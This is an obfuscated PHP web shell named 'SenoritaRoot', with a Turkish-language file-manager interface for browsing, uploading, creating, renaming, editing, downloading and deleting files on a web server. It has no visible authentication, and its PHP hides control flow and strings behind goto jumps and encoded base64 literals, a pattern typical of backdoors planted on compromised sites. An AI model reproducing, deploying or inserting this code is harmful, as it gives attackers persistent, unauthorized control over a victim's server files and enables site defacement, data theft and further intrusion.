<?php
 goto O2SMM; O2SMM: ?>
<!doctypehtml><html lang="en"><head><meta charset="UTF-8"><meta content="width=device-width,initial-scale=1"name="viewport"><title>SenoritaRoot</title><link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css"rel="stylesheet"><link href="https://fonts.cdnfonts.com/css/minecraftia"rel="stylesheet"><link href="https://fonts.googleapis.com/icon?family=Material+Icons"rel="stylesheet"><style>body{background:#1e1e2f;color:#e0e0e0;font-family:Minecraftia,sans-serif}.file-icon{color:#4caf50}.dir-icon{color:#fc0}.minecraft-button{background:#4caf50;border:2px solid #000;color:#fff;padding:8px 16px;font-family:Minecraftia,sans-serif;cursor:pointer;transition:background .3s ease;border-radius:4px;width:120px;height:40px;display:flex;align-items:center;justify-content:center;text-align:center}.minecraft-button.delete{background:#f44336}.minecraft-button.delete:hover{background:#e53935}.minecraft-button.edit{background:#9c27b0}.minecraft-button.edit:hover{background:#8e24aa}.minecraft-button.rename{background:#ff9800}.minecraft-button.rename:hover{background:#fb8c00}.minecraft-button.download{background:#2196f3}.minecraft-button.download:hover{background:#1e88e5}.minecraft-input{background:#2c2c3a;border:2px solid #000;color:#fff;padding:8px;font-family:Minecraftia,sans-serif;border-radius:4px}.minecraft-table{background:#2c2c3a;border-collapse:collapse;width:100%;border-radius:8px;overflow:hidden}.minecraft-table td,.minecraft-table th{border:2px solid #000;padding:12px;text-align:left}.minecraft-table th{background:#1e1e2f;color:#fc0}.minecraft-table tr:hover{background:#3a3a4a}.breadcrumb{background:#2c2c3a;padding:8px;border-radius:4px}.breadcrumb a{color:#2196f3;text-decoration:none}.breadcrumb a:hover{text-decoration:underline}.edit-container{background:#2c2c3a;padding:16px;border-radius:8px;margin-top:16px}#editContainer{display:none}</style></head><body class="p-8"><div class="max-w-7xl mx-auto"><h1 class="flex items-center font-bold mb-6 text-4xl text-white"><img alt="Logo"class="mr-2 h-20 w-20"src="https://i.hizliresim.com/aqn0nps.png"> SenoritaRoot</h1><div class="mb-6 breadcrumb"><strong class="text-gray-400">Bulunduğun Dizin:</strong><?php  goto P7edm; P7edm: $lumbkqde17 = explode(DIRECTORY_SEPARATOR, $gvxjzkvg1); goto QfF9B; w2moI: foreach ($lmwlrtnw4 as $kkcmfmcy1a) { ?>
<tr><td><?php  if ($kkcmfmcy1a[base64_decode("\x64\x48\x6c\167\x5a\121\x3d\x3d")] === base64_decode("\132\107\154\171")) { ?>
<a class="flex items-center dir-icon"href="?dir=<?php  echo urlencode($gvxjzkvg1 . DIRECTORY_SEPARATOR . $kkcmfmcy1a[base64_decode("\x62\155\x46\164\132\121\x3d\75")]); ?>
"><span class="mr-2 material-icons text-yellow-400">folder</span><?php  echo htmlspecialchars($kkcmfmcy1a[base64_decode("\142\155\x46\x74\132\x51\x3d\x3d")]); ?>
</a><?php  } else { ?>
<span class="flex items-center file-icon"><span class="mr-2 material-icons text-green-400">insert_drive_file</span><?php  echo htmlspecialchars($kkcmfmcy1a[base64_decode("\x62\155\x46\164\132\121\75\75")]); ?>
</span><?php  } ?>
</td><td><?php  echo $kkcmfmcy1a[base64_decode("\144\110\154\167\132\121\x3d\x3d")] === base64_decode("\132\x47\x6c\x79") ? base64_decode("\123\x32\170\150\x63\70\x4f\62\x63\147\75\x3d") : base64_decode("\x52\107\x39\x7a\145\127\x45\75"); ?>
</td><td><?php  echo $kkcmfmcy1a[base64_decode("\x64\x48\x6c\167\x5a\x51\75\75")] === base64_decode("\132\155\x6c\163\x5a\121\75\75") ? number_format($kkcmfmcy1a[base64_decode("\x63\x32\x6c\66\132\x51\75\75")] / 1024, 2) . base64_decode("\x49\x45\x74\x43") : base64_decode("\x4c\121\75\75"); ?>
</td><td><?php  echo $kkcmfmcy1a[base64_decode("\x63\x47\126\171\x62\x57\154\172\x63\62\154\166\x62\156\115\75")]; ?>
</td><td><?php  echo $kkcmfmcy1a[base64_decode("\142\107\106\172\144\x46\x39\x74\x62\62\x52\x70\x5a\155\x6c\x6c\132\x41\75\x3d")]; ?>
</td><td class="flex gap-2"><form class="inline"method="POST"><input name="deleteFile"type="hidden"value="<?php  echo htmlspecialchars($kkcmfmcy1a[base64_decode("\x62\x6d\106\164\x5a\x51\x3d\75")]); ?>
"> <button class="minecraft-button delete"type="submit">Sil</button></form><button class="minecraft-button rename"onclick='renameItem("<?php  echo htmlspecialchars($kkcmfmcy1a[base64_decode("\142\155\x46\164\x5a\x51\75\75")]); ?>
")'>Adlandır</button> <button class="minecraft-button edit"onclick='editFile("<?php  echo htmlspecialchars($kkcmfmcy1a[base64_decode("\x62\155\x46\x74\x5a\121\x3d\75")]); ?>
")'>Düzenle</button> <a class="inline"href="?download=<?php  echo urlencode($kkcmfmcy1a[base64_decode("\142\155\x46\164\x5a\121\75\x3d")]); ?>
"><button class="minecraft-button download">İndir</button></a></td></tr><?php  } goto w82Dm; QfF9B: foreach ($lumbkqde17 as $ybujfctj18 => $xknyataj19) { $rqbpnqeo6 = implode(DIRECTORY_SEPARATOR, array_slice($lumbkqde17, 0, $ybujfctj18 + 1)); ?>
<a class="hover:underline text-blue-400"href="?dir=<?php  echo urlencode($rqbpnqeo6); ?>
"><?php  echo htmlspecialchars($xknyataj19); ?>
</a><?php  if ($ybujfctj18 < count($lumbkqde17) - 1) { ?>
/<?php  } } goto EGdw6; EGdw6: ?>
</div><div class="mb-6 gap-4 grid grid-cols-1 md:grid-cols-3"><form class="bg-gray-800 p-4 rounded-lg"method="POST"enctype="multipart/form-data"><label class="mb-2 block text-gray-400">Dosya Yükle:</label> <input name="uploadedFile"class="w-full minecraft-input mb-2"type="file"> <button class="minecraft-button w-full"type="submit">Yükle</button></form><form class="bg-gray-800 p-4 rounded-lg"method="POST"><label class="mb-2 block text-gray-400">Yeni Dizin Oluştur:</label> <input name="newDirName"class="w-full minecraft-input mb-2"required> <button class="minecraft-button w-full"type="submit">Oluştur</button></form><form class="bg-gray-800 p-4 rounded-lg"method="POST"><label class="mb-2 block text-gray-400">Yeni Dosya Oluştur:</label> <input name="newFileName"class="w-full minecraft-input mb-2"required> <button class="minecraft-button w-full"type="submit">Oluştur</button></form></div><table class="minecraft-table"><thead><tr><th>Ad</th><th>Tür</th><th>Boyut</th><th>İzinler</th><th>Son Değişiklik</th><th>İşlem</th></tr></thead><tbody><?php  goto w2moI; w82Dm: ?>
</tbody></table></div><div class="edit-container"id="editContainer"><form id="editForm"><textarea class="w-full minecraft-input h-48 p-2"id="fileContent"></textarea> <button class="minecraft-button mt-4"type="submit">Değişiklikleri Kaydet</button></form></div><script>function renameItem(oldName) {
            const newName = prompt("Yeni ad girin:", oldName);
            if (newName && newName !== oldName) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = 
                    `<input type="hidden" name="renameOldName" value="${oldName}">` +
                    `<input type="hidden" name="renameNewName" value="${newName}">`;
                document.body.appendChild(form);
                form.submit();
            }
        }

        function editFile(fileName) {
            const editContainer = document.getElementById("editContainer");
            editContainer.style.display = "block";  // Düzenleme alanını göster
            const textArea = document.getElementById("fileContent");
            fetch(fileName)
                .then(response => response.text())
                .then(content => {
                    textArea.value = content;
                    const form = document.getElementById("editForm");
                    form.onsubmit = function(e) {
                        e.preventDefault();
                        const newContent = textArea.value;
                        const formData = new FormData();
                        formData.append("editFile", fileName);
                        formData.append("newContent", newContent);
                        fetch("", {
                            method: "POST",
                            body: formData
                        }).then(response => {
                            if (response.ok) {
                                alert("Dosya başarıyla güncellendi!");
                            } else {
                                alert("Dosya güncellenemedi!");
                            }
                        });
                    };
                });
        }</script></body></html>